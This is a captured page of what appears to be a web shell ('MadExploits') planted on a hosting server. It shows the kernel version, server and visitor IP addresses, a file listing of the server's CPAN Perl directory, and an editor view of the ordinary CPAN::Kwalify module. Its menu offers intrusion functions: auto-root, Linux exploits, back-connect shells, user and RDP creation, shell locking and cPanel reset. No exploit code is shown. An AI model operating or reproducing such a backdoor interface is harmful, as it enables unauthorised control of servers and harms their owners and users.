Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.218.245.179
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
CPAN /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
FTP
[ DIR ]
drwxr-xr-x
HTTP
[ DIR ]
drwxr-xr-x
Kwalify
[ DIR ]
drwxr-xr-x
LWP
[ DIR ]
drwxr-xr-x
Plugin
[ DIR ]
drwxr-xr-x
Admin.pm
7.61
KB
-r--r--r--
Author.pm
6.68
KB
-rw-r--r--
Bundle.pm
9.03
KB
-rw-r--r--
CacheMgr.pm
7.48
KB
-rw-r--r--
Complete.pm
5.85
KB
-rw-r--r--
Config.pm
9.38
KB
-rw-r--r--
Debug.pm
2.05
KB
-rw-r--r--
DeferredCode.pm
189
B
-rw-r--r--
Distribution.pm
145.09
KB
-rw-r--r--
Distroprefs.pm
10.84
KB
-rw-r--r--
Distrostatus.pm
972
B
-rw-r--r--
FTP.pm
41.19
KB
-rw-r--r--
FirstTime.pm
66.98
KB
-rw-r--r--
HandleConfig.pm
22.61
KB
-rw-r--r--
Index.pm
21.43
KB
-rw-r--r--
InfoObj.pm
6.75
KB
-rw-r--r--
Kwalify.pm
3.35
KB
-rw-r--r--
Mirrors.pm
14.55
KB
-rw-r--r--
Module.pm
21.52
KB
-rw-r--r--
Nox.pm
928
B
-rw-r--r--
Plugin.pm
3.14
KB
-r--r--r--
Prompt.pm
567
B
-rw-r--r--
Queue.pm
6.31
KB
-rw-r--r--
Shell.pm
68.45
KB
-rw-r--r--
Tarzip.pm
15.69
KB
-rw-r--r--
URL.pm
588
B
-rw-r--r--
Version.pm
4.21
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Kwalify.pm
=head1 NAME CPAN::Kwalify - Interface between CPAN.pm and Kwalify.pm =head1 SYNOPSIS use CPAN::Kwalify; validate($schema_name, $data, $file, $doc); =head1 DESCRIPTION =over =item _validate($schema_name, $data, $file, $doc) $schema_name is the name of a supported schema. Currently only C<distroprefs> is supported. $data is the data to be validated. $file is the absolute path to the file the data are coming from. $doc is the index of the document within $doc that is to be validated. The last two arguments are only there for better error reporting. Relies on being called from within CPAN.pm. Dies if something fails. Does not return anything useful. =item yaml($schema_name) Returns the YAML text of that schema. Dies if something fails. =back =head1 AUTHOR Andreas Koenig C<< <andk@cpan.org> >> =head1 LICENSE This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. See L<http://www.perl.com/perl/misc/Artistic.html> =cut use strict; package CPAN::Kwalify; use vars qw($VERSION $VAR1); $VERSION = "5.50"; use File::Spec (); my %vcache = (); my $schema_loaded = {}; sub _validate { my($schema_name,$data,$abs,$y) = @_; my $yaml_module = CPAN->_yaml_module; if ( $CPAN::META->has_inst($yaml_module) && $CPAN::META->has_inst("Kwalify") ) { my $load = UNIVERSAL::can($yaml_module,"Load"); unless ($schema_loaded->{$schema_name}) { eval { my $schema_yaml = yaml($schema_name); $schema_loaded->{$schema_name} = $load->($schema_yaml); }; if ($@) { # we know that YAML.pm 0.62 cannot parse the schema, # so we try a fallback my $content = do { my $path = __FILE__; $path =~ s/\.pm$//; $path = File::Spec->catfile($path, "$schema_name.dd"); local *FH; open FH, $path or die "Could not open '$path': $!"; local $/; <FH>; }; $VAR1 = undef; eval $content; if (my $err = $@) { die "parsing of '$schema_name.dd' failed: $err"; } $schema_loaded->{$schema_name} = $VAR1; } } } if (my $schema = $schema_loaded->{$schema_name}) { my $mtime = (stat $abs)[9]; for my $k (keys %{$vcache{$abs}}) { delete $vcache{$abs}{$k} unless $k eq $mtime; } return if $vcache{$abs}{$mtime}{$y}++; eval { Kwalify::validate($schema, $data) }; if (my $err = $@) { my $info = {}; yaml($schema_name, info => $info); die "validation of distropref '$abs'[$y] against schema '$info->{path}' failed: $err"; } } } sub _clear_cache { %vcache = (); } sub yaml { my($schema_name, %opt) = @_; my $content = do { my $path = __FILE__; $path =~ s/\.pm$//; $path = File::Spec->catfile($path, "$schema_name.yml"); if ($opt{info}) { $opt{info}{path} = $path; } local *FH; open FH, $path or die "Could not open '$path': $!"; local $/; <FH>; }; return $content; } 1; # Local Variables: # mode: cperl # cperl-indent-level: 4 # End:
Close